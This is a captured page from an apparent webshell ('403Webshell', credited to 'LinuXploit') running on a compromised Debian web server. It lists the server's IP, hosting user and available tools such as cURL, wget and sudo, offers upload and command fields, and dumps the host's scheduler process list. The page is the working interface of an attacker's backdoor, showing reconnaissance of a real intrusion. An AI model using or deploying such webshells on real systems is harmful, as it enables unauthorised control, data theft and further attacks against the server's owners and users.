403Webshell
Server IP : 81.2.241.106  /  Your IP : 216.73.216.165
Web Server : Apache/2.4.67 (Debian)
System : Linux tranq-f.bakta.org 5.10.0-45-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : lisky ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/sched_debug
Sched Debug Version: v0.11, 5.10.0-45-amd64 #1
ktime                                   : 303818608.806331
sched_clk                               : 303817192.143536
cpu_clk                                 : 303817188.950858
jiffies                                 : 4370846932
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 6.000000
  .sysctl_sched_min_granularity            : 0.750000
  .sysctl_sched_wakeup_granularity         : 1.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 16722747
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2299.997 MHz
  .nr_running                    : 1
  .nr_switches                   : 114558284
  .nr_uninterruptible            : 0
  .next_balance                  : 4294.894544
  .curr->pid                     : 181613
  .clock                         : 303817188.420279
  .clock_task                    : 303817188.420279
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 30096183.085449
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 250
  .runnable_avg                  : 249
  .util_avg                      : 197
  .util_est_enqueued             : 186
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.020821
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1  30094319.016581     59688   120         0.000000     12151.859816         0.000000 0 0 /
 S        kthreadd     2  30074475.345018      2212   120         0.000000       121.633134         0.000000 0 0 /
 I          rcu_gp     3        13.984243         2   100         0.000000         0.005879         0.000000 0 0 /
 I      rcu_par_gp     4        15.985147         2   100         0.000000         0.003400         0.000000 0 0 /
 I    kworker/0:0H     6       470.650789         4   100         0.000000         0.034065         0.000000 0 0 /
 I    mm_percpu_wq     8        22.740347         2   100         0.000000         0.003539         0.000000 0 0 /
 S rcu_tasks_rude_     9        24.742265         2   120         0.000000         0.003246         0.000000 0 0 /
 S rcu_tasks_trace    10        26.741613         2   120         0.000000         0.001284         0.000000 0 0 /
 S     ksoftirqd/0    11  30096172.165815    415205   120         0.000000      8461.158467         0.000000 0 0 /
 I       rcu_sched    12  30096180.107165   6284077   120         0.000000     50217.116414         0.000000 0 0 /
 S     migration/0    13        32.741610     75960     0         0.000000      1159.799776         0.000000 0 0 /
 S         cpuhp/0    15      3581.145656        10   120         0.000000         0.138071         0.000000 0 0 /
 S       kdevtmpfs    17      3479.778408       136   120         0.000000         1.127239         0.000000 0 0 /
 I           netns    18        45.596495         2   100         0.000000         0.005384         0.000000 0 0 /
 S         kauditd    19      3734.417434         7   120         0.000000         0.133809         0.000000 0 0 /
 S      khungtaskd    20  30091112.397614      2516   120         0.000000       436.597323         0.000000 0 0 /
 S      oom_reaper    21        51.100750         2   120         0.000000         0.002867         0.000000 0 0 /
 I       writeback    22        53.101725         2   100         0.000000         0.004138         0.000000 0 0 /
 S      kcompactd0    23  30096143.046378    594048   120         0.000000     10060.365671         0.000000 0 0 /
 S            ksmd    24        57.111011         2   125         0.000000         0.004846         0.000000 0 0 /
 S      khugepaged    25  30095717.919325     40678   139         0.000000      4011.228209         0.000000 0 0 /
 I     kintegrityd    43       271.195191         2   100         0.000000         0.004866         0.000000 0 0 /
 I         kblockd    44       273.195460         2   100         0.000000         0.002555         0.000000 0 0 /
 I  blkcg_punt_bio    45       275.198235         2   100         0.000000         0.006624         0.000000 0 0 /
 I     edac-poller    46       427.054490         2   100         0.000000         0.005232         0.000000 0 0 /
 I      devfreq_wq    47       428.561189         2   100         0.000000         0.010266         0.000000 0 0 /
 I    kworker/0:1H    48  30096133.311145    198615   100         0.000000      3822.183395         0.000000 0 0 /
 S         kswapd0    49  30079152.981971     26404   120         0.000000      9590.922563         0.000000 0 0 /
 I        kthrotld    50      1249.747374         2   100         0.000000         0.005098         0.000000 0 0 /
 S   irq/24-pciehp    51         0.000000         2    49         0.000000         0.007765         0.000000 0 0 /
 S   irq/25-pciehp    52         0.000000         2    49         0.000000         0.004910         0.000000 0 0 /
 S   irq/26-pciehp    53         0.000000         2    49         0.000000         0.005314         0.000000 0 0 /
 S   irq/27-pciehp    54         0.000000         2    49         0.000000         0.005847         0.000000 0 0 /
 S   irq/28-pciehp    55         0.000000         2    49         0.000000         0.004385         0.000000 0 0 /
 S   irq/29-pciehp    56         0.000000         2    49         0.000000         0.004266         0.000000 0 0 /
 S   irq/30-pciehp    57         0.000000         2    49         0.000000         0.004724         0.000000 0 0 /
 S   irq/31-pciehp    58         0.000000         2    49         0.000000         0.004700         0.000000 0 0 /
 S   irq/32-pciehp    59         0.000000         2    49         0.000000         0.004611         0.000000 0 0 /
 S   irq/33-pciehp    60         0.000000         2    49         0.000000         0.004753         0.000000 0 0 /
 S   irq/34-pciehp    61         0.000000         2    49         0.000000         0.003539         0.000000 0 0 /
 S   irq/35-pciehp    62         0.000000         2    49         0.000000         0.004943         0.000000 0 0 /
 S   irq/36-pciehp    63         0.000000         2    49         0.000000         0.009212         0.000000 0 0 /
 S   irq/37-pciehp    64         0.000000         2    49         0.000000         0.005010         0.000000 0 0 /
 S   irq/38-pciehp    65         0.000000         2    49         0.000000         0.004065         0.000000 0 0 /
 S   irq/39-pciehp    66         0.000000         2    49         0.000000         0.004584         0.000000 0 0 /
 S   irq/40-pciehp    67         0.000000         2    49         0.000000         0.003568         0.000000 0 0 /
 S   irq/41-pciehp    68         0.000000         2    49         0.000000         0.003622         0.000000 0 0 /
 S   irq/42-pciehp    69         0.000000         2    49         0.000000         0.003272         0.000000 0 0 /
 S   irq/43-pciehp    70         0.000000         2    49         0.000000         0.004588         0.000000 0 0 /
 S   irq/44-pciehp    71         0.000000         2    49         0.000000         0.003444         0.000000 0 0 /
 S   irq/45-pciehp    72         0.000000         2    49         0.000000         0.003192         0.000000 0 0 /
 S   irq/46-pciehp    73         0.000000         2    49         0.000000         0.005050         0.000000 0 0 /
 S   irq/47-pciehp    74         0.000000         2    49         0.000000         0.003486         0.000000 0 0 /
 S   irq/48-pciehp    75         0.000000         2    49         0.000000         0.004433         0.000000 0 0 /
 S   irq/49-pciehp    76         0.000000         2    49         0.000000         0.004468         0.000000 0 0 /
 S   irq/50-pciehp    77         0.000000         2    49         0.000000         0.004382         0.000000 0 0 /
 S   irq/51-pciehp    78         0.000000         2    49         0.000000         0.003981         0.000000 0 0 /
 S   irq/52-pciehp    79         0.000000         2    49         0.000000         0.003429         0.000000 0 0 /
 S   irq/53-pciehp    80         0.000000         2    49         0.000000         0.004729         0.000000 0 0 /
 S   irq/54-pciehp    81         0.000000         2    49         0.000000         0.004458         0.000000 0 0 /
 S   irq/55-pciehp    82         0.000000         2    49         0.000000         0.004909         0.000000 0 0 /
 I acpi_thermal_pm    83      1319.802192         2   100         0.000000         0.013575         0.000000 0 0 /
 I   ipv6_addrconf    84      1356.516004         2   100         0.000000         0.005455         0.000000 0 0 /
 I           kstrp    94      1391.066551         2   100         0.000000         0.004438         0.000000 0 0 /
 I    zswap-shrink    97      1447.825558         2   100         0.000000         0.005832         0.000000 0 0 /
 I    kworker/u3:0    98      1449.825167         2   100         0.000000         0.004691         0.000000 0 0 /
 I         ata_sff   134      1807.991953         2   100         0.000000         0.009243         0.000000 0 0 /
 S       scsi_eh_0   135      1907.167223         4   120         0.000000        11.070958         0.000000 0 0 /
 I      mpt_poll_0   136      1809.245989         2   100         0.000000         0.010705         0.000000 0 0 /
 I           mpt/0   138      1809.999573         2   100         0.000000         0.009225         0.000000 0 0 /
 I      scsi_tmf_0   139      1811.645762         2   100         0.000000         0.007850         0.000000 0 0 /
 S       scsi_eh_1   140      3451.567064        40   120         0.000000        20.478267         0.000000 0 0 /
 I      scsi_tmf_1   141      1813.852365         2   100         0.000000         0.006751         0.000000 0 0 /
 S       scsi_eh_2   143      1974.055578         2   120         0.000000         0.004753         0.000000 0 0 /
 I      scsi_tmf_2   145      1975.561150         2   100         0.000000         0.010728         0.000000 0 0 /
 I        kdmflush   160      2175.044693         2   100         0.000000         0.007037         0.000000 0 0 /
 I        kdmflush   162      2176.247169         2   100         0.000000         0.005887         0.000000 0 0 /
 S     jbd2/dm-1-8   205  30095746.957943     85370   120         0.000000      3411.907034         0.000000 0 0 /
 I ext4-rsv-conver   206      2833.812228         2   100         0.000000         0.005581         0.000000 0 0 /
 S systemd-journal   264  30093226.121942     70435   120         0.000000     22230.046159         0.000000 0 0 /
 I          rpciod   280      3241.422281         2   100         0.000000         0.006819         0.000000 0 0 /
 I         xprtiod   281      3242.173420         2   100         0.000000         0.008460         0.000000 0 0 /
 S   systemd-udevd   282  30094319.023765      3444   120         0.000000       669.710849         0.000000 0 0 /
 I          cryptd   333      3465.526063         2   100         0.000000         0.008231         0.000000 0 0 /
 S   irq/16-vmwgfx   340         0.000816   1451295    49         0.000000     17719.800640         0.000000 0 0 /
 I        ttm_swap   341      3472.474550         2   100         0.000000         0.006139         0.000000 0 0 /
 S     card0-crtc0   344         0.000000         2    49         0.000000         0.005083         0.000000 0 0 /
 S     card0-crtc1   346         0.000000         2    49         0.000000         0.004578         0.000000 0 0 /
 S     card0-crtc2   347         0.000000         2    49         0.000000         0.005730         0.000000 0 0 /
 S     card0-crtc3   349         0.000000         2    49         0.000000         0.004560         0.000000 0 0 /
 S     card0-crtc4   351         0.000000         2    49         0.000000         0.004000         0.000000 0 0 /
 S     card0-crtc5   353         0.000000         2    49         0.000000         0.004461         0.000000 0 0 /
 S     card0-crtc6   355         0.000000         2    49         0.000000         0.005119         0.000000 0 0 /
 S     card0-crtc7   358         0.000000         2    49         0.000000         0.003505         0.000000 0 0 /
 I ext4-rsv-conver   429      3644.288557         2   100         0.000000         0.007381         0.000000 0 0 /
 S         rpcbind   443  30095456.422563     10307   120         0.000000       531.650900         0.000000 0 0 /
 S systemd-timesyn   444  30087035.059608      2936   120         0.000000       950.589576         0.000000 0 0 /
 S      sd-resolve   455     12352.848978        17   120         0.000000         3.926078         0.000000 0 0 /
 S           acpid   456      3750.508090        10   120         0.000000         1.812068         0.000000 0 0 /
 S            cron   461  30095115.118535      5391   120         0.000000       786.993989         0.000000 0 0 /
 S     dbus-daemon   462  30018674.788943      2873   120         0.000000       444.988446         0.000000 0 0 /
 S        rsyslogd   468  30028830.205921       577   120         0.000000        45.355174         0.000000 0 0 /
 S     in:imuxsock   477  30082089.957267     33468   120         0.000000      1483.139822         0.000000 0 0 /
 S       in:imklog   478  28456648.704073        15   120         0.000000         2.618140         0.000000 0 0 /
 S   rs:main Q:Reg   480  30082089.959661     33810   120         0.000000      1928.581624         0.000000 0 0 /
 S  systemd-logind   472  30094319.056183      5040   120         0.000000       845.638132         0.000000 0 0 /
 S             atd   476  29903775.168723        94   120         0.000000        11.691651         0.000000 0 0 /
 S       saslauthd   541  30053784.622794      6260   120         0.000000      1716.229550         0.000000 0 0 /
 S       saslauthd   542  30055389.564784      6253   120         0.000000      1747.793422         0.000000 0 0 /
 S       saslauthd   543  30057024.021315      6176   120         0.000000      1702.013327         0.000000 0 0 /
 S       saslauthd   544  30056733.138060      6294   120         0.000000      1704.488605         0.000000 0 0 /
 S       saslauthd   545  30054948.552760      6246   120         0.000000      1695.700183         0.000000 0 0 /
 S       freshclam   575  29960481.016498      1905   120         0.000000      1710.465710         0.000000 0 0 /
 S         dovecot   576  30085505.618441      5076   120         0.000000       575.235788         0.000000 0 0 /
 S fail2ban-server   605  30095986.065702    152648   120         0.000000     11604.653742         0.000000 0 0 /
 S    f2b/observer   747  30096062.269458     24810   120         0.000000      2079.372760         0.000000 0 0 /
 S      f2b/f.sshd   788  30096143.045701    688363   120         0.000000     40248.645803         0.000000 0 0 /
 S      f2b/a.sshd   789  30096103.956349    632000   120         0.000000     51029.784816         0.000000 0 0 /
 S f2b/f.apache-au   799  30096175.869871    664848   120         0.000000     41287.817863         0.000000 0 0 /
 S f2b/a.apache-au   800  30096165.623587    607070   120         0.000000     22467.453462         0.000000 0 0 /
 S f2b/f.apache-ba   802  30096174.091903    891252   120         0.000000    286884.372224         0.000000 0 0 /
 S f2b/a.apache-ba   803  30096165.628816    607077   120         0.000000     22651.338252         0.000000 0 0 /
 S   f2b/f.postfix   804  30096143.083165    671483   120         0.000000     25734.700844         0.000000 0 0 /
 S   f2b/a.postfix   805  30096156.889815    608656   120         0.000000     40767.008704         0.000000 0 0 /
 S   f2b/f.dovecot   806  30096143.044987    671279   120         0.000000     26234.546863         0.000000 0 0 /
 S   f2b/a.dovecot   807  30096165.672556    607069   120         0.000000     22149.617714         0.000000 0 0 /
 S f2b/f.postfix-s   808  30096143.042461    675201   120         0.000000     27430.867532         0.000000 0 0 /
 S f2b/a.postfix-s   809  30096150.803585    609208   120         0.000000     42624.571618         0.000000 0 0 /
 S f2b/f.pam-gener   811  30096143.084651    688444   120         0.000000     42029.519790         0.000000 0 0 /
 S f2b/a.pam-gener   814  30096158.138150    610440   120         0.000000     42124.396557         0.000000 0 0 /
 S    f2b/observer 181156  29903987.948658         4   120         0.000000         0.087293         0.000000 0 0 /
 S          vsftpd   611  29562850.185787       244   120         0.000000        82.020292         0.000000 0 0 /
 S            sshd   622  30082089.991235     13618   120         0.000000      3459.127328         0.000000 0 0 /
 S           anvil   640  30085505.398164      2810   120         0.000000       122.334117         0.000000 0 0 /
 S             log   641  30085505.373821      2691   120         0.000000       149.783907         0.000000 0 0 /
 S          config   645  30078731.274498      2893   120         0.000000       498.619857         0.000000 0 0 /
 S         apache2   664  30096173.419554    305710   120         0.000000     19509.678063         0.000000 0 0 /
 S        mariadbd   686  30096173.423004    293457   120         0.000000     15291.536798         0.000000 0 0 /
 S        mariadbd   740  30096149.176973    644208   120         0.000000     17597.031737         0.000000 0 0 /
 S        mariadbd   746  30093118.371162     10147   120         0.000000       386.162646         0.000000 0 0 /
 S        mariadbd   752     11194.175722       196   120         0.000000         3.555220         0.000000 0 0 /
 S        mariadbd   753     11522.163102        19   120         0.000000         4.880824         0.000000 0 0 /
 S        mariadbd   829     10702.179892         6   120         0.000000         0.878078         0.000000 0 0 /
 S        mariadbd   830     10690.151627         3   120         0.000000         0.131452         0.000000 0 0 /
 S        mariadbd 173298  30096142.704534    619580   120         0.000000    100796.757709         0.000000 0 0 /
 S        mariadbd 173480  30096133.726029    560100   120         0.000000     90620.466531         0.000000 0 0 /
 S        mariadbd 173803  30096172.897388    499530   120         0.000000     80470.806565         0.000000 0 0 /
 S        mariadbd 173831  30096105.216866    499395   120         0.000000     80802.386205         0.000000 0 0 /
 S        mariadbd 174166  30096157.517007    464362   120         0.000000     74552.002767         0.000000 0 0 /
 S        mariadbd 174167  30096178.240393    464674   120         0.000000     74464.445160         0.000000 0 0 /
 S        mariadbd 174168  30096126.759995    464242   120         0.000000     74241.433447         0.000000 0 0 /
 S        mariadbd 174169  30096125.276180    464594   120         0.000000     74430.394944         0.000000 0 0 /
 S        mariadbd 175639  30096150.456518    382444   120         0.000000     60611.757146         0.000000 0 0 /
 S        mariadbd 175640  30096112.127936    382063   120         0.000000     60361.570334         0.000000 0 0 /
 S        mariadbd 176085  30096167.728130    348338   120         0.000000     55170.940157         0.000000 0 0 /
 S        mariadbd 179843  30096149.153412      6039   120         0.000000       129.386482         0.000000 0 0 /
 S        mariadbd 180138  30096097.687995     82911   120         0.000000     13031.239620         0.000000 0 0 /
 S          master   969  30091326.250016     37227   120         0.000000      3464.722692         0.000000 0 0 /
 S            qmgr   974  30075292.195579      1885   120         0.000000       471.947474         0.000000 0 0 /
 S         systemd   975   3273251.615810        82   120         0.000000        71.440263         0.000000 0 0 /
 S        (sd-pam)   977     10892.328107         3   120         0.000000         0.275469         0.000000 0 0 /
 S       ts3server  1023     12108.744313       352   120         0.000000       748.732137         0.000000 0 0 /
 S       ts3server  1027  30072872.633798      1298   120         0.000000       335.345875         0.000000 0 0 /
 S       ts3server  1028  30096175.852754   1518292   120         0.000000     38773.289358         0.000000 0 0 /
 S       ts3server  1030  30096105.534235   4340249   120         0.000000    138275.236345         0.000000 0 0 /
 S       ts3server  1031  30096105.534712   4338709   120         0.000000    136393.857686         0.000000 0 0 /
 S       ts3server  1032  30096105.534711   4334798   120         0.000000    138700.570063         0.000000 0 0 /
 S       ts3server  1033  30096105.536470   4344572   120         0.000000    138133.070084         0.000000 0 0 /
 S       ts3server  1034  30096105.583727   4341433   120         0.000000    137940.106830         0.000000 0 0 /
 S       ts3server  1035  30093569.378303      5710   120         0.000000      1011.776448         0.000000 0 0 /
 S       ts3server  1036  30093569.320628      5449   120         0.000000       903.740431         0.000000 0 0 /
 S       ts3server  1037  30087368.468193      5542   120         0.000000       928.817324         0.000000 0 0 /
 S       ts3server  1038  30086334.166903      5429   120         0.000000       925.984923         0.000000 0 0 /
 S       ts3server  1039  30094677.157035      5630   120         0.000000      1162.801335         0.000000 0 0 /
 S       ts3server  1040  29911062.770098       248   120         0.000000        44.391983         0.000000 0 0 /
 S       ts3server  1043  30096180.116762   3035027   120         0.000000    123438.434451         0.000000 0 0 /
 S       ts3server  1044     12016.358707         1   120         0.000000         0.005423         0.000000 0 0 /
 S       ts3server  1045     12015.360742         1   120         0.000000         0.007457         0.000000 0 0 /
 S       ts3server  1046  30096173.412315   4894370   120         0.000000    220596.315398         0.000000 0 0 /
 S       ts3server  1047  30096180.097485   3033970   120         0.000000     72298.361132         0.000000 0 0 /
 S       ts3server  1048  30096172.321425     76531   120         0.000000      7127.613059         0.000000 0 0 /
 S       ts3server  1049  30096172.162931     76157   120         0.000000      7207.287403         0.000000 0 0 /
 S       ts3server  1050  27302643.665468        38   120         0.000000         4.636250         0.000000 0 0 /
 S          agetty  1024     11125.602724        24   120         0.000000         4.369397         0.000000 0 0 /
 S          tlsmgr  1053  30055047.739948     10413   120         0.000000      1042.503813         0.000000 0 0 /
 S           stats  1406  30085505.407614      5983   120         0.000000       231.826338         0.000000 0 0 /
 S  bh-netcat.real 172847  30096105.952979     51849   120         0.000000      1932.252367         0.000000 0 0 /
 S          pickup 180541  30091326.187032        73   120         0.000000        14.267642         0.000000 0 0 /
 I    kworker/u2:3 181026  30095717.531793       945   120         0.000000        36.731335         0.000000 0 0 /
 I    kworker/u2:1 181219  30079108.959768       508   120         0.000000        17.325770         0.000000 0 0 /
 I     kworker/0:4 181224  30096180.103993     37824   120         0.000000      1386.988473         0.000000 0 0 /
 I     kworker/0:1 181492  30062667.728197       158   120         0.000000        11.534855         0.000000 0 0 /
 S         apache2 181517  30095326.549424      8827   120         0.000000      4340.612378         0.000000 0 0 /
 I    kworker/u2:0 181519  30079108.949778         8   120         0.000000         0.096520         0.000000 0 0 /
 S         apache2 181553  30093804.268059      6738   120         0.000000      3327.417958         0.000000 0 0 /
 I     kworker/0:0 181559  30096116.349065       142   120         0.000000        11.381370         0.000000 0 0 /
 I    kworker/u2:2 181575  30095717.494222        57   120         0.000000         2.204137         0.000000 0 0 /
 I    kworker/u2:4 181576  30074480.322514         2   120         0.000000         0.001980         0.000000 0 0 /
 S         apache2 181587  30095826.471977      4263   120         0.000000      2099.012408         0.000000 0 0 /
 S         apache2 181588  30095017.599166      3032   120         0.000000      1502.728354         0.000000 0 0 /
 S         apache2 181589  30095996.948114      2054   120         0.000000      1095.392346         0.000000 0 0 /
 S         apache2 181593  30094101.406247      4214   120         0.000000      2036.971447         0.000000 0 0 /
 S         apache2 181594  30094389.607909      4689   120         0.000000      2389.925662         0.000000 0 0 /
 S         apache2 181595  30094389.800460      4980   120         0.000000      2468.212278         0.000000 0 0 /
 S         apache2 181596  30095829.091921      2325   120         0.000000      1116.532260         0.000000 0 0 /
 S         apache2 181597  30095561.732610      4415   120         0.000000      2241.096924         0.000000 0 0 /
>R         apache2 181613  30096183.085449       986   120         0.000000       512.306021         0.000000 0 0 /
 S         apache2 181615  30096170.326080      3114   120         0.000000      1655.026275         0.000000 0 0 /
 S         apache2 181617  30096176.378058      2103   120         0.000000      1104.346874         0.000000 0 0 /


Youez - 2016 - github.com/yon3zu
LinuXploit